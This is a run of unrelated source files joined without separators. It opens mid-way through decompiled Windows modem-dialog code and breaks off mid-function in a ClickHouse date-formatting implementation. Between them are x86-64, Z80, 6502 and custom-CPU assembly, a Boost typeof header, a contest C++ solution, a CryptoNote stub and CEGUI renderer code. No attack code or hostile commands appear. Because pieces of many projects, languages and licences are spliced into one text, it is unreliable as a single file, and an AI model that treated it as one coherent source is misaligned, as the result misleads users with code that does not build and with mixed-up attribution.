SelHero_1000C3E2((int)v3, 1); } */ // 1002A120: using guessed type int dword_1002A120; // 1002A124: using guessed type int dword_1002A124; // 1002A12C: using guessed type int dword_1002A12C; // 1002A130: using guessed type int dword_1002A130; // 1002A134: using guessed type int dword_1002A134; // 1002A148: using guessed type int dword_1002A148; // ref: 0x10008B42 void __cdecl Modem_10008B42(char *a1) { return; } /* { char *v1; // eax char v2; // [esp+0h] [ebp-100h] char v3; // [esp+80h] [ebp-80h] Connect_10004028((int)&v2, 128, (int)&v3, 128); dword_1002A148 = 0; v1 = &byte_1002A154; if ( !dword_1002A124 ) v1 = a1; dword_1002A120 = SNetJoinGame(0, v1, 0, &v2, &v3, dword_1002A140); if ( !dword_1002A120 ) dword_1002A12C = SErrGetLastError(); dword_1002A148 = 1; _endthread(); } */ // 10010406: using guessed type _DWORD __stdcall SErrGetLastError(); // 10010430: using guessed type int __stdcall SNetJoinGame(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 10011E20: using guessed type int _endthread(void); // 1002A120: using guessed type int dword_1002A120; // 1002A124: using guessed type int dword_1002A124; // 1002A12C: using guessed type int dword_1002A12C; // 1002A140: using guessed type int dword_1002A140; // 1002A148: using guessed type int dword_1002A148; // ref: 0x10008BB7 int UNKCALL Modem_10008BB7(HWND hWnd) { return 0; } /* { HWND v1; // esi int result; // eax int v3; // [esp+4h] [ebp-20h] v1 = hWnd; if ( SDlgDialogBoxParam(hInstance, "ENTERDIAL_DIALOG", hWnd, EntDial_10006C96, &v3) == 1 ) result = Modem_10008A38(v1, (int)&v3); else result = PostMessageA(v1, 0xBD0u, 0, 0); return result; } */ // 10010370: using guessed type int __stdcall SDlgDialogBoxParam(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // ref: 0x10008BFE int UNKCALL Modem_10008BFE(HWND hWnd) { return 0; } /* { HWND v1; // esi int v2; // eax int v3; // eax v1 = hWnd; v2 = SDlgDialogBoxParam(hInstance, "SELCRE8JOIN_DIALOG", hWnd, SelDial_1000B0CF, 0) - 3; if ( !v2 ) return Modem_1000893D(v1); v3 = v2 - 2; if ( !v3 ) return Modem_10008A38(v1, (int)&byte_1002A154); if ( v3 != 1217 ) return SelHero_1000C3E2((int)v1, 2); dword_1002A124 = 0; return PostMessageA(v1, 0xBD0u, 0, 0); } */ // 10010370: using guessed type int __stdcall SDlgDialogBoxParam(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 1002A124: using guessed type int dword_1002A124;
; https://the-linux-channel.the-toffee-project.org/index.php?page=5-tutorials-a-linux-system-call-in-c-without-a-standard-library %include "sys-syscall.asm" section .text global _start, fprintf, printf, write, exit, mmap, munmap extern main, fprintf_impl, printf_impl, check_alloc _start: xor rbp, rbp pop rdi ; first arg = argc mov rsi, rsp ; second arg = args and rsp, -16 call main mov rdi, rax call exit write: mov rax, SYS_write syscall ret exit: call check_alloc mov rdi, rax mov rax, SYS_exit syscall mmap: mov rax, SYS_mmap mov r10, rcx syscall ret munmap: mov rax, SYS_munmap syscall ret fprintf: pop rax ; caller's rip ; now we're in the caller's stack frame ; now these are contiguous with the rest of the varargs on the stack push r9 push r8 push rcx push rdx ; pass rdi and rsi to impl mov rdx, rsp ; third arg = varargs push rax ; save call fprintf_impl pop rax ; restore add rsp, 32 ; dealloc printf_impl stack args push rax ; stack frame back to normal ret printf: pop rax ; caller's rip ; now we're in the caller's stack frame ; now these are contiguous with the rest of the varargs on the stack push r9 push r8 push rcx push rdx push rsi ; pass rdi to impl mov rsi, rsp ; second arg = varargs push rax ; save call printf_impl pop rax ; restore add rsp, 40 ; dealloc printf_impl stack args push rax ; stack frame back to normal ret
// Copyright (C) 2004, 2005 Arkadiy Vertleyb // Copyright (C) 2005 Peder Holt // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_TYPEOF_TYPEOF_IMPL_HPP_INCLUDED #define BOOST_TYPEOF_TYPEOF_IMPL_HPP_INCLUDED #include <boost/mpl/size_t.hpp> #include <boost/preprocessor/repetition/enum.hpp> #include <boost/typeof/encode_decode.hpp> #include <boost/typeof/vector.hpp> #include <boost/type_traits/is_function.hpp> #include <boost/utility/enable_if.hpp> #define BOOST_TYPEOF_VECTOR(n) BOOST_PP_CAT(boost::type_of::vector, n) #define BOOST_TYPEOF_sizer_item(z, n, _)\ char item ## n[V::item ## n ::value]; namespace boost { namespace type_of { template<class V> struct sizer { // char item0[V::item0::value]; // char item1[V::item1::value]; // ... BOOST_PP_REPEAT(BOOST_TYPEOF_LIMIT_SIZE, BOOST_TYPEOF_sizer_item, ~) }; }} #undef BOOST_TYPEOF_sizer_item // namespace boost { namespace type_of { # ifdef BOOST_NO_SFINAE template<class V, class T> sizer<typename encode_type<V, T>::type> encode(const T&); # else template<class V, class T> typename enable_if< typename is_function<T>::type, sizer<typename encode_type<V, T>::type> >::type encode(T&); template<class V, class T> typename disable_if< typename is_function<T>::type, sizer<typename encode_type<V, T>::type> >::type encode(const T&); # endif }} // namespace boost { namespace type_of { template<class V> struct decode_begin { typedef typename decode_type<typename V::begin>::type type; }; }} #define BOOST_TYPEOF_TYPEITEM(z, n, expr)\ boost::mpl::size_t<sizeof(boost::type_of::encode<BOOST_TYPEOF_VECTOR(0)<> >(expr).item ## n)> #define BOOST_TYPEOF_ENCODED_VECTOR(Expr) \ BOOST_TYPEOF_VECTOR(BOOST_TYPEOF_LIMIT_SIZE)< \ BOOST_PP_ENUM(BOOST_TYPEOF_LIMIT_SIZE, BOOST_TYPEOF_TYPEITEM, Expr) \ > #define BOOST_TYPEOF(Expr)\ boost::type_of::decode_begin<BOOST_TYPEOF_ENCODED_VECTOR(Expr) >::type #define BOOST_TYPEOF_TPL typename BOOST_TYPEOF //offset_vector is used to delay the insertion of data into the vector in order to allow //encoding to be done in many steps namespace boost { namespace type_of { template<typename V,typename Offset> struct offset_vector { }; template<class V,class Offset,class T> struct push_back<boost::type_of::offset_vector<V,Offset>,T> { typedef offset_vector<V,typename Offset::prior> type; }; template<class V,class T> struct push_back<boost::type_of::offset_vector<V,mpl::size_t<0> >,T> { typedef typename push_back<V,T>::type type; }; }} #define BOOST_TYPEOF_NESTED_TYPEITEM(z, n, expr)\ BOOST_STATIC_CONSTANT(int,BOOST_PP_CAT(value,n) = sizeof(boost::type_of::encode<_typeof_start_vector>(expr).item ## n));\ typedef boost::mpl::size_t<BOOST_PP_CAT(value,n)> BOOST_PP_CAT(item,n); #ifdef __DMC__ #define BOOST_TYPEOF_NESTED_TYPEITEM_2(z,n,expr)\ typedef typename _typeof_encode_fraction<iteration>::BOOST_PP_CAT(item,n) BOOST_PP_CAT(item,n); #define BOOST_TYPEOF_FRACTIONTYPE()\ BOOST_PP_REPEAT(BOOST_TYPEOF_LIMIT_SIZE,BOOST_TYPEOF_NESTED_TYPEITEM_2,_)\ typedef _typeof_fraction_iter<Pos> fraction_type; #else #define BOOST_TYPEOF_FRACTIONTYPE()\ typedef _typeof_encode_fraction<iteration> fraction_type; #endif #define BOOST_TYPEOF_NESTED_TYPEDEF_IMPL(expr) \ template<int _Typeof_Iteration>\ struct _typeof_encode_fraction {\ BOOST_STATIC_CONSTANT(int,_typeof_encode_offset = (_Typeof_Iteration*BOOST_TYPEOF_LIMIT_SIZE));\ typedef boost::type_of::offset_vector<BOOST_TYPEOF_VECTOR(0)<>,boost::mpl::size_t<_typeof_encode_offset> > _typeof_start_vector;\ BOOST_PP_REPEAT(BOOST_TYPEOF_LIMIT_SIZE,BOOST_TYPEOF_NESTED_TYPEITEM,expr)\ };\ template<typename Pos>\ struct _typeof_fraction_iter {\ BOOST_STATIC_CONSTANT(int,pos=(Pos::value));\ BOOST_STATIC_CONSTANT(int,iteration=(pos/BOOST_TYPEOF_LIMIT_SIZE));\ BOOST_STATIC_CONSTANT(int,where=pos%BOOST_TYPEOF_LIMIT_SIZE);\ BOOST_TYPEOF_FRACTIONTYPE();\ typedef typename boost::type_of::v_iter<fraction_type,boost::mpl::int_<where> >::type type;\ typedef _typeof_fraction_iter<typename Pos::next> next;\ }; #ifdef __MWERKS__ # define BOOST_TYPEOF_NESTED_TYPEDEF(name,expr) \ template<typename T>\ struct BOOST_PP_CAT(_typeof_template_,name) {\ BOOST_TYPEOF_NESTED_TYPEDEF_IMPL(expr)\ typedef typename boost::type_of::decode_type<_typeof_fraction_iter<boost::mpl::size_t<0> > >::type type;\ };\ typedef BOOST_PP_CAT(_typeof_template_,name)<int> name; # define BOOST_TYPEOF_NESTED_TYPEDEF_TPL(name,expr) BOOST_TYPEOF_NESTED_TYPEDEF(name,expr); #else # define BOOST_TYPEOF_NESTED_TYPEDEF_TPL(name,expr) \ struct name {\ BOOST_TYPEOF_NESTED_TYPEDEF_IMPL(expr)\ typedef typename boost::type_of::decode_type<_typeof_fraction_iter<boost::mpl::size_t<0> > >::type type;\ }; # define BOOST_TYPEOF_NESTED_TYPEDEF(name,expr) \ struct name {\ BOOST_TYPEOF_NESTED_TYPEDEF_IMPL(expr)\ typedef boost::type_of::decode_type<_typeof_fraction_iter<boost::mpl::size_t<0> > >::type type;\ }; #endif #endif//BOOST_TYPEOF_COMPLIANT_TYPEOF_IMPL_HPP_INCLUDED
; =============================================================== ; Mar 2014 ; =============================================================== ; ; int b_vector_empty(b_vector_t *v) ; ; Return non-zero if the vector is empty. ; ; =============================================================== SECTION code_clib SECTION code_adt_b_vector PUBLIC asm_b_vector_empty EXTERN l_testword_hl defc asm_b_vector_empty = l_testword_hl - 2 ; enter : hl = vector * ; ; exit : if vector is empty ; ; hl = 1 ; z flag set ; ; if vector is not empty ; ; hl = 0 ; nz flag set ; ; uses : af, hl
// IRQ vector. .db -1 // NMI vector. .db -1 // Entry vector. .db entry entry: MOV ST, 0xffff MOV R0, 21 MOV R1, 11 MOV.JSR PC, mul DEC PC // Multiplies R0 by R1, result in R0. mul: XOR R2, R2 .loop: CMP1 R0 MOV.ULT PC, .exit SHR R0 MOV.CC PC, .skipadd ADD R2, R1 .skipadd: SHL R1 MOV PC, .loop .exit: MOV R0, R2 MOV PC, [ST] // Divide and modulo R0 by R1, modulo in R0, division in R1. div: XOR R2, R2 // Mask R3 to be the highest bit of R0. MOV R3, R0 DEC R3 AND R3, R0 // Shift left R1 until it's as big as R3. .maximise: CMP R1, R3 MOV.UGE PC, .next SHL R1 INC R2 MOV PC, .maximise // Prepare for division. .next: XOR R3, R3 // Division loop. .divloop: CMP R0, R1 MOV.ULT PC, .skipsub SUB R0, R1 INC R3 .skipsub:
; ST7920 LCD controller implementation for Z-Fighter ; by Tangent 2021 EXTERN PORTB_ACC EXTERN CTRL_ACC EXTERN LCD_E_LO EXTERN LCD_WR EXTERN LCD_RD EXTERN LCD_INST EXTERN LCD_DATA EXTERN LCD_BL_OFF SECTION code_user PUBLIC _lcd ; Uses FASTCALL. HL = *bitmap _lcd: LCD: LD (UPRBMP),HL ; Store address of bitmap argument LD DE,512 ADD HL,DE LD (LWRBMP),HL ; Store address of bitmap argument + 512 LD A,(BUFFER) ; Init Y as 32 if buffer = 1 CP 1 JR NZ,MAIN LD A,32+80h LD (Y),A MAIN: LD B,32 MNLOOP: PUSH BC LD A,(Y) ; Set Y and X addresses LD D,A CALL EXTINST LD D,0+080h CALL EXTINST LD HL,(UPRBMP) ; Write row on upper half of screen LD DE,(PTR) ADD HL,DE CALL DATAROW LD HL,(LWRBMP) ; Write row on lower half of screen LD DE,(PTR) ADD HL,DE CALL DATAROW LD DE,(PTR) ; Increase value of bitmap pointer by 16 ADD DE,16 LD (PTR),DE LD A,(Y) ; Increment Y address by 1 INC A LD (Y),A POP BC DJNZ MNLOOP CALL SWTCBUF ; Switch frame buffer LD HL,0 ; Initialize variables LD (PTR),HL LD A,0+80h LD (Y),A LD HL,0 LD (LWRBMP),HL RET ; End of function DATAROW: LD B,16 DRLOOP: CALL WAITBSY LD A,LCD_DATA ; Set LCD D OUT (CTRL_ACC),A LD C,PORTB_ACC OUTI ; OUT contents of HL to (C), DEC B CALL ENABLE OR B ; Check if loop is complete JR NZ,DRLOOP LD A,LCD_INST ; Reset LCD #I OUT (CTRL_ACC),A RET INST: CALL WAITBSY LD C,PORTB_ACC OUT (C),D ; Send basic instruction CALL ENABLE RET EXTINST: CALL WAITBSY LD A,36h ; Set extended instruction set OUT (PORTB_ACC),A CALL ENABLE CALL WAITBSY LD C,PORTB_ACC OUT (C),D ; Send extended instruction CALL ENABLE CALL WAITBSY LD A,30h ; Reset basic instruction set OUT (PORTB_ACC),A CALL ENABLE RET ENABLE: LD A,LCD_E_LO+1 OUT (CTRL_ACC),A DEC A OUT (CTRL_ACC),A RET WAITBSY: PUSH BC LD A,(_backlight) ; Read desired state of backlight ADD LCD_BL_OFF ; Add address of backlight LD B,A ; Store backlight control word in B LD C,CTRL_ACC ; Load C with address of PPI control register LD A,92h ; 8255 Simple I/O, PA,B in, PC out OUT (CTRL_ACC),A ; Write PPI control word OUT (C),B ; Write backlight control word LD A,LCD_RD ; Set LCD RD OUT (CTRL_ACC),A LD A,LCD_E_LO+1 ; Set LCD ENABLE OUT (CTRL_ACC),A CHKFLAG: IN A,(PORTB_ACC) ; Read LCD data bus AND 128 ; Check busy flag JR NZ,CHKFLAG ; Repeat until busy flag is reset RSTPPI: ; Complete routine by resetting PPI LD A,90h ; 8255 Simple I/O, PA in, PB,C out OUT (CTRL_ACC),A ; Write PPI control word BKLGHT: OUT (C),B ; Write backlight control word POP BC RET SWTCBUF: ; Switch frame buffer using LCD vertical scroll LD A,(BUFFER) CP 1 JR Z,SB1 SB0: LD D,0+040h ; Vertical scroll address = GDRAM top half CALL EXTINST LD A,1 LD (BUFFER),A JR SB2 SB1: LD D,32+040h ; Vertical scroll address = GDRAM bottom half CALL EXTINST LD A,0 LD (BUFFER),A SB2: LD D,3 CALL EXTINST ; Enable vertical scroll position RET SECTION bss_user UPRBMP: DW 0 LWRBMP: DW 0 PTR: DW 0 BUFFER: DB 0 SECTION data_user PUBLIC _backlight _backlight: DB 1 Y: DB 0+080h
; "Rorschach test" ; Not at all what it was supposed to be, ; but it turns out pretty cool and can ; create some interesting patterns. lda #8 tax dr: sta $3cb,x sta $40b,x dex bpl dr sta $3f3 sta $3eb lda #1 sta $3ec ldx #255 mk: lda $fe sta $1200,x lda $fe sta $1300,x lda $fe sta $1400,x lda $fe sta $1500,x dex cpx #$ff bne mk ; smooth it ldy #0 re: lda #1 sta $3ec,y ldx #255 sm: lda $1201,x adc $11ff,x adc $1220,x adc $11e0,x lsr lsr sta $1200,x lda $1301,x adc $12ff,x adc $1320,x adc $12e0,x lsr lsr sta $1300,x lda $1401,x adc $13ff,x adc $1420,x adc $13e0,x lsr lsr sta $1400,x lda $1501,x adc $14ff,x adc $1520,x adc $14e0,x lsr lsr sta $1500,x dex cpx #$ff bne sm iny cpy #7 bne re lda #1 sta $3f0 ;copy it clc ldx #255 cp: lda $1200,x lsr lsr tay lda colors,y sta $200,x lda $1300,x lsr lsr tay lda colors,y sta $300,x lda $1400,x lsr lsr tay lda colors,y sta $400,x lda $1500,x lsr lsr tay lda colors,y sta $500,x dex cpx #$ff bne cp rts colors: dcb 0,0,0,0,0,$9,$9,1,1,0,0,0,0,0
#include <iostream> #include <algorithm> #include <vector> #include <stack> #define pii pair <int,int> #define pll pair <long long,long long> #define sc scanf #define pf printf #define Pi 2*acos(0.0) #define ms(a,b) memset(a, b, sizeof(a)) #define pb(a) push_back(a) #define MP make_pair #define db double #define EPS 10E-10 #define ff first #define ss second #define sqr(x) (x)*(x) #define D(x) cout<<#x " = "<<(x)<<endl #define VI vector <int> #define DBG pf("Hi\n") #define MOD 1000000007 #define CIN ios_base::sync_with_stdio(0); cin.tie(0) #define SZ(a) (int)a.size() #define sf(a) scanf("%d",&a) #define sfl(a) scanf("%lld",&a) #define sff(a,b) scanf("%d %d",&a,&b) #define sffl(a,b) scanf("%lld %lld",&a,&b) #define sfff(a,b,c) scanf("%d %d %d",&a,&b,&c) #define sfffl(a,b,c) scanf("%lld %lld %lld",&a,&b,&c) #define stlloop(v) for(__typeof(v.begin()) it=v.begin();it!=v.end();it++) #define loop(i,n) for(int i=0;i<n;i++) #define loop1(i,n) for(int i=1;i<=n;i++) #define REP(i,a,b) for(int i=a;i<b;i++) #define RREP(i,a,b) for(int i=a;i>=b;i--) #define all(a) a.begin(),a.end() #define intlim 2147483648 #define infinity (1<<28) #define ull unsigned long long #define gcd(a, b) __gcd(a, b) #define lcm(a, b) ((a)*((b)/gcd(a,b))) #define boost ios_base::sync_with_stdio(false);cin.tie(0);cout.tie(0) #define ll long long int #define DRT() ll test_case; cin>>test_case; while(test_case--) using namespace std; int main(void) { boost; // l is the last digit // f is the first digit ll f,l,nail,i,j,x,temp,price,y,z,ans; DRT() { cin>>nail; cin>>x>>y>>z; price=(x*1000)+(y*100)+(z*10); temp=price; for(i=9;i>=1;i--) { for( j=9;j>=0;j--) { ans=i*10000+temp+j; if(ans%nail==0) break; } if(j!=-1) break; } if(i==0) cout<<"0"<<endl; else { cout<<i<<" "<<j<<" "<<ans/nail<<endl; } } return 0; }
// Copyright (c) 2012-2017, The CryptoNote developers, The Bytecoin developers // Copyright (c) 2018-2019, The DeployCoin Developers // // Please see the included LICENSE file for more information. #include "InterruptedException.h" namespace { #ifdef MSVC char suppressMSVCWarningLNK4221; #endif } // namespace
/*********************************************************************** created: Jan 11 2006 author: Tomas Lindquist Olsen purpose: Implements interface for the WindowRenderer base class *************************************************************************/ /*************************************************************************** * Copyright (C) 2004 - 2006 Paul D Turner & The CEGUI Development Team * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. ***************************************************************************/ #include "CEGUI/WindowRenderer.h" #include "CEGUI/Window.h" #include "CEGUI/falagard/WidgetLookManager.h" #include "CEGUI/falagard/WidgetLookFeel.h" #include "CEGUI/falagard/NamedArea.h" namespace CEGUI { /************************************************************************ Constructor *************************************************************************/ WindowRenderer::WindowRenderer(const String& name, const String& class_name) : d_window(nullptr), d_name(name), d_class(class_name) { } /************************************************************************ Destructor *************************************************************************/ WindowRenderer::~WindowRenderer() { } /************************************************************************ Get the Look'N'Feel assigned to our window *************************************************************************/ const WidgetLookFeel& WindowRenderer::getLookNFeel() const { return WidgetLookManager::getSingleton().getWidgetLook(d_window->getLookNFeel()); } //----------------------------------------------------------------------------// ColourRect WindowRenderer::getOptionalColour(const String& propertyName, const Colour& defaultColour) const { ColourRect rect(defaultColour); if (d_window->isPropertyPresent(propertyName)) rect = d_window->getProperty<ColourRect>(propertyName); return rect; } /************************************************************************ Get unclipped inner rectangle. *************************************************************************/ Rectf WindowRenderer::getUnclippedInnerRect() const { const WidgetLookFeel& wlf(getLookNFeel()); if(wlf.isNamedAreaPresent("inner_rect", true)) return wlf.getNamedArea("inner_rect").getArea().getPixelRect(*d_window, d_window->getUnclippedOuterRect().get()); else return d_window->getUnclippedOuterRect().get(); } /************************************************************************ Register property with window renderer *************************************************************************/ void WindowRenderer::registerProperty(Property* property, const bool ban_from_xml) { d_properties.push_back(std::make_pair(property, ban_from_xml)); } //----------------------------------------------------------------------------// void WindowRenderer::registerProperty(Property* property) { registerProperty(property, false); } /************************************************************************ On attached to window *************************************************************************/ void WindowRenderer::onAttach() { for (const auto& pair : d_properties) { d_window->addProperty(pair.first); // ban from xml if neccessary if (pair.second) d_window->banPropertyFromXML(pair.first->getName()); } } /************************************************************************ On detached from window *************************************************************************/ void WindowRenderer::onDetach() { for (const auto& pair : d_properties) { // unban from xml if neccessary if (pair.second) d_window->unbanPropertyFromXML(pair.first->getName()); d_window->removeProperty(pair.first->getName()); } } //----------------------------------------------------------------------------// void WindowRenderer::getRenderingContext(RenderingContext& ctx) const { // default just calls back to the window implementation version. d_window->getRenderingContext_impl(ctx); } //----------------------------------------------------------------------------// bool WindowRenderer::handleFontRenderSizeChange(const Font* const font) { return getLookNFeel().handleFontRenderSizeChange(*d_window, font); } //----------------------------------------------------------------------------// Sizef WindowRenderer::getContentSize() const { throw InvalidRequestException("This function isn't implemented for this type of window renderer."); } //----------------------------------------------------------------------------// UDim WindowRenderer::getWidthOfAreaReservedForContentLowerBoundAsFuncOfWindowWidth() const { throw InvalidRequestException("This function isn't implemented for this type of window renderer."); } //----------------------------------------------------------------------------// UDim WindowRenderer::getHeightOfAreaReservedForContentLowerBoundAsFuncOfWindowHeight() const { throw InvalidRequestException("This function isn't implemented for this type of window renderer."); } //----------------------------------------------------------------------------// void WindowRenderer::adjustSizeToContent() { getWindow()->adjustSizeToContent_direct(); } //----------------------------------------------------------------------------// bool WindowRenderer::contentFitsForSpecifiedWindowSize(const Sizef& /*window_size*/) const { throw InvalidRequestException("This function isn't implemented for this type of window renderer."); } //----------------------------------------------------------------------------// bool WindowRenderer::contentFits() const { throw InvalidRequestException("This function isn't implemented for this type of window renderer."); } //----------------------------------------------------------------------------// } // End of CEGUI namespace
#include <DataTypes/DataTypeString.h> #include <DataTypes/DataTypeDate.h> #include <DataTypes/DataTypeDateTime.h> #include <DataTypes/DataTypeDateTime64.h> #include <Columns/ColumnString.h> #include <Functions/IFunctionImpl.h> #include <Functions/FunctionHelpers.h> #include <Functions/FunctionFactory.h> #include <Functions/DateTimeTransforms.h> #include <Functions/extractTimeZoneFromFunctionArguments.h> #include <IO/WriteHelpers.h> #include <common/DateLUTImpl.h> #include <common/find_symbols.h> #include <Core/DecimalFunctions.h> #include <type_traits> namespace DB { namespace ErrorCodes { extern const int NUMBER_OF_ARGUMENTS_DOESNT_MATCH; extern const int ILLEGAL_TYPE_OF_ARGUMENT; extern const int NOT_IMPLEMENTED; extern const int ILLEGAL_COLUMN; extern const int BAD_ARGUMENTS; } namespace { // in private namespace to avoid GCC 9 error: "explicit specialization in non-namespace scope" template <typename DataType> struct ActionaValueTypeMap {}; template <> struct ActionaValueTypeMap<DataTypeDate> { using ActionValueType = UInt16; }; template <> struct ActionaValueTypeMap<DataTypeDateTime> { using ActionValueType = UInt32; }; // TODO(vnemkov): once there is support for Int64 in LUT, make that Int64. // TODO(vnemkov): to add sub-second format instruction, make that DateTime64 and do some math in Action<T>. template <> struct ActionaValueTypeMap<DataTypeDateTime64> { using ActionValueType = UInt32; }; } /** formatDateTime(time, 'pattern') * Performs formatting of time, according to provided pattern. * * This function is optimized with an assumption, that the resulting strings are fixed width. * (This assumption is fulfilled for currently supported formatting options). * * It is implemented in two steps. * At first step, it creates a pattern of zeros, literal characters, whitespaces, etc. * and quickly fills resulting character array (string column) with this pattern. * At second step, it walks across the resulting character array and modifies/replaces specific charaters, * by calling some functions by pointers and shifting cursor by specified amount. * * Advantages: * - memcpy is mostly unrolled; * - low number of arithmetic ops due to pre-filled pattern; * - for somewhat reason, function by pointer call is faster than switch/case. * * Possible further optimization options: * - slightly interleave first and second step for better cache locality * (but it has no sense when character array fits in L1d cache); * - avoid indirect function calls and inline functions with JIT compilation. * * Performance on Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz: * * WITH formatDateTime(now() + number, '%H:%M:%S') AS x SELECT count() FROM system.numbers WHERE NOT ignore(x); * - 97 million rows per second per core; * * WITH formatDateTime(toDateTime('2018-01-01 00:00:00') + number, '%F %T') AS x SELECT count() FROM system.numbers WHERE NOT ignore(x) * - 71 million rows per second per core; * * select count() from (select formatDateTime(t, '%m/%d/%Y %H:%M:%S') from (select toDateTime('2018-01-01 00:00:00')+number as t from numbers(100000000))); * - 53 million rows per second per core; * * select count() from (select formatDateTime(t, 'Hello %Y World') from (select toDateTime('2018-01-01 00:00:00')+number as t from numbers(100000000))); * - 138 million rows per second per core; * * PS. We can make this function to return FixedString. Currently it returns String. */ class FunctionFormatDateTime : public IFunction { private: /// Time is either UInt32 for DateTime or UInt16 for Date. template <typename Time> class Action { public: using Func = void (*)(char *, Time, const DateLUTImpl &); Func func; size_t shift; explicit Action(Func func_, size_t shift_ = 0) : func(func_), shift(shift_) {} void perform(char *& target, Time source, const DateLUTImpl & timezone) { func(target, source, timezone); target += shift; } private: template <typename T> static inline void writeNumber2(char * p, T v) { memcpy(p, &digits100[v * 2], 2); } template <typename T> static inline void writeNumber3(char * p, T v) { writeNumber2(p, v / 10); p[2] += v % 10; } template <typename T> static inline void writeNumber4(char * p, T v) { writeNumber2(p, v / 100); writeNumber2(p + 2, v % 100); } public: static void noop(char *, Time, const DateLUTImpl &) { } static void century(char * target, Time source, const DateLUTImpl & timezone) { auto year = ToYearImpl::execute(source, timezone); auto century = year / 100; writeNumber2(target, century); } static void dayOfMonth(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToDayOfMonthImpl::execute(source, timezone)); } static void americanDate(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToMonthImpl::execute(source, timezone)); writeNumber2(target + 3, ToDayOfMonthImpl::execute(source, timezone)); writeNumber2(target + 6, ToYearImpl::execute(source, timezone) % 100); } static void dayOfMonthSpacePadded(char * target, Time source, const DateLUTImpl & timezone) { auto day = ToDayOfMonthImpl::execute(source, timezone); if (day < 10) target[1] += day; else writeNumber2(target, day); } static void ISO8601Date(char * target, Time source, const DateLUTImpl & timezone) // NOLINT { writeNumber4(target, ToYearImpl::execute(source, timezone)); writeNumber2(target + 5, ToMonthImpl::execute(source, timezone)); writeNumber2(target + 8, ToDayOfMonthImpl::execute(source, timezone)); } static void dayOfYear(char * target, Time source, const DateLUTImpl & timezone) { writeNumber3(target, ToDayOfYearImpl::execute(source, timezone)); } static void month(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToMonthImpl::execute(source, timezone)); } static void dayOfWeek(char * target, Time source, const DateLUTImpl & timezone) { *target += ToDayOfWeekImpl::execute(source, timezone); } static void dayOfWeek0To6(char * target, Time source, const DateLUTImpl & timezone) { auto day = ToDayOfWeekImpl::execute(source, timezone); *target += (day == 7 ? 0 : day); } static void ISO8601Week(char * target, Time source, const DateLUTImpl & timezone) // NOLINT { writeNumber2(target, ToISOWeekImpl::execute(source, timezone)); } static void year2(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToYearImpl::execute(source, timezone) % 100); } static void year4(char * target, Time source, const DateLUTImpl & timezone) { writeNumber4(target, ToYearImpl::execute(source, timezone)); } static void hour24(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToHourImpl::execute(source, timezone)); } static void hour12(char * target, Time source, const DateLUTImpl & timezone) { auto x = ToHourImpl::execute(source, timezone); writeNumber2(target, x == 0 ? 12 : (x > 12 ? x - 12 : x)); } static void minute(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToMinuteImpl::execute(source, timezone)); } static void AMPM(char * target, Time source, const DateLUTImpl & timezone) // NOLINT { auto hour = ToHourImpl::execute(source, timezone); if (hour >= 12) *target = 'P'; } static void hhmm24(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToHourImpl::execute(source, timezone)); writeNumber2(target + 3, ToMinuteImpl::execute(source, timezone)); } static void second(char * target, Time source, const DateLUTImpl & timezone) { writeNumber2(target, ToSecondImpl::execute(source, timezone)); } static void ISO8601Time(char * target, Time source, const DateLUTImpl & timezone) // NOLINT { writeNumber2(target, ToHourImpl::execute(source, timezone)); writeNumber2(target + 3, ToMinuteImpl::execute(source, timezone)); writeNumber2(target + 6, ToSecondImpl::execute(source, timezone)); } }; public: static constexpr auto name = "formatDateTime"; static FunctionPtr create(const Context &) { return std::make_shared<FunctionFormatDateTime>(); } String getName() const override { return name; } bool useDefaultImplementationForConstants() const override { return true; } ColumnNumbers getArgumentsThatAreAlwaysConstant() const override { return {1, 2}; } bool isVariadic() const override { return true; } size_t getNumberOfArguments() const override { return 0; } DataTypePtr getReturnTypeImpl(const ColumnsWithTypeAndName & arguments) const override { if (arguments.size() != 2 && arguments.size() != 3) throw Exception("Number of arguments for function " + getName() + " doesn't match: passed " + toString(arguments.size()) + ", should be 2 or 3", ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH); if (!WhichDataType(arguments[0].type).isDateOrDateTime()) throw Exception("Illegal type " + arguments[0].type->getName() + " of 1 argument of function " + getName() + ". Should be a date or a date with time", ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT); if (!WhichDataType(arguments[1].type).isString()) throw Exception("Illegal type " + arguments[1].type->getName() + " of 2 argument of function " + getName() + ". Must be String.", ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT); if (arguments.size() == 3) { if (!WhichDataType(arguments[2].type).isString()) throw Exception("Illegal type " + arguments[2].type->getName() + " of 3 argument of function " + getName() + ". Must be String.", ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT); } return std::make_shared<DataTypeString>(); } void executeImpl(Block & block, const ColumnNumbers & arguments, size_t result, size_t /*input_rows_count*/) override { if (!executeType<DataTypeDate>(block, arguments, result) && !executeType<DataTypeDateTime>(block, arguments, 